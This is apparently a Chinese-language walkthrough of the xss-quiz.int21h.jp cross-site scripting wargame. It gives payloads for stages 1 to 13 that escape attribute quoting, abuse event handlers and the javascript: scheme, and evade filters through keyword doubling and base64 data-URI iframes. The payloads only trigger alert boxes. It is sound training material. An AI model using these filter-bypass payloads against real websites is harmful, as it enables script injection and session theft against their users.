Stage #1
Search
搜索框
输入 11111
,输出的是 11111
<b>"11111"</b>
payload
</b><script>alert(document.domain);</script>
输出结果
<b>"</b>
<script>alert(document.domain);</script>
直接输入也行 <script>alert(document.domain);</script>
。<script>
可以直接在<b>
标签中执行。
<b>"<script>alert(document.domain);</script>"</b>
Stage #2
输出的内容
<input type="text" name="p1" size="50" value="abcefd">
payload
"><script>alert(document.domain);</script>
输出
<input type="text" name="p1" size="50" value="">
<script>alert(document.domain);</script>
">
Stage #3
提示
The input in text box is properly escaped
参数p1
命中的< >
特殊字符被转义。
<b>""><script>alert(document.domain);</script>"</b>
如何绕过转义呢?
字符 替换后
& (& 符号) &
" (双引号) ",除非设置了 ENT_NOQUOTES
' (单引号) 设置了 ENT_QUOTES 后, ' (如果是 ENT_HTML401) ,或者 ' (如果是 ENT_XML1、 ENT_XHTML 或 ENT_HTML5)。
< (小于) <
> (大于) >
javascript
在<b>
标签里面不能执行成功
<b>"onmouseover=confirm(1)"</b>
但是在<input>
倒是可以。
<input name=test value='' onmouseover=confirm(1)>
在p2
参数里面。输入payload
。
抓包修改参数p2
p1=%22%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&p2="><script>alert(document.domain);</script>
输出内容
<b>"><script>alert(document.domain);</script></b>
Stage #4
输入
<>&
输出内容
<>&"
和第三关一样,p1
和p2
参数都被过滤了,有一个隐藏的表单p3
没有被过滤。在p3
中输入payload
。
<>&"
"><script>alert(document.domain);</script>
Stage #5
长度限制
length limited text box
<input type="text" name="p1" maxlength="15" size="30" value="111111111111111">
只允许输入15个字符。如何绕过。
只是在前端进行设置的,修改其中的maxlength
为50。
"><script>alert(document.domain);</script>
Stage #6
event handler attribute 事件处理属性
输入的内容又是被转义了。
<input type="text" name="p1" size="50" value="<>""&">
使用事件型标签。
123" onmouseover="alert(document.domain);
输出内容
<input type="text" name="p1" size="50" value="123" onmouseover="alert(document.domain);">
Stage #7
early the same... but a bit more tricky
同样是被转义了。
<input type="text" name="p1" size="50" value=<>""&>
这一次的双引号和单引号也被转义了。"
输入""
输出
<input type="text" name="p1" size="50" value="">
输出的内容
<input type="text" name="p1" size="50" value=11111111>
value
字段没有被引号包裹。
直接输入
onmouseover=alert(document.domain);
输出的内容为:
<input type="text" name="p1" size="50" value=onmouseover=alert(document.domain);>
payload
没有起到作用,加一个参数值。
输出的内容,payload
可以执行成功。
<input type="text" name="p1" size="50" value=2 onmouseover=alert(document.domain);>
Stage #8
the 'javascript' scheme
输出的内容。
<input type="submit" value="Make a Link"><hr class=red>URL: <a href="11111111">11111111</a><hr class=red></form>
使用javascript
伪协议。
输入内容
javascript:alert(document.domain);
输出内容
<a href="javascript:alert(document.domain);">javascript:alert(document.domain);</a>
Stage #9
UTF-7 XSS
找支持utf-7
的浏览器测试。
Stage #10
s/domain//g;
考虑的不是完全,只是过滤了一部分。
输入
"><script>alert(document.domain);</script>
输出的内容
<input type="text" name="p1" size="50" value=""><script>alert(document.);</script>">
过滤了domain
输入
"><script>alert(document.dodomainmain);</script>
输出
<input type="text" name="p1" size="50" value=""><script>alert(document.domain);</script>">
Stage #11
"s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
过滤一些script
和on
以及style
标签,需要考虑一些其他的。很明显可以使用Base64
编码,是它执行iframe
标签。
<iframe src="data:text/html;base64, .... base64 encoded HTML data ....">
输入
"><script>alert(document.domain);</script>
输出
<input type="text" name="p1" size="50" value=""><xscript>alert(document.domain);</xscript>">
通过编码绕过。使用inframe
<script>alert(document.domain);</script>
通过Base64
编码。
"><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg=="></iframe>
输出
<input type="text" name="p1" size="50" value=""><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg=="></iframe>">
使用javascript
伪协议,超链接以及编码。
"><a href=javascript:alert(document.domain)>xss</a>
但是,直接使用<script>
标签,对其进行Unicode
不可以成功执行。
"><script>alert(document.domain);</script>
Stage #12
空格、<
、>
、"
、'
都给过滤了。
"s/[\x00-\x20\<\>\"\']//g;"
输入的内容
&""<><script>
输出的内容
<input type=text name=p1 size=50 value=&script>
明显的把""<>
直接过滤掉了。
不带这些符号的payload
。过滤了,使用编码转换试试。
反单引号。`,在FireFox没有测试成功,但是在IE10下面可以。
``onmouseover=alert(document.domain);
Stage #13
style attribute
输入
&""<><script>
输出
<input type="text" name="p1" size="60" style="&""<><script>" value="&""<><script>">
参考
Solutions to the wargame XSS Challenges at xss-quiz.int21h.jp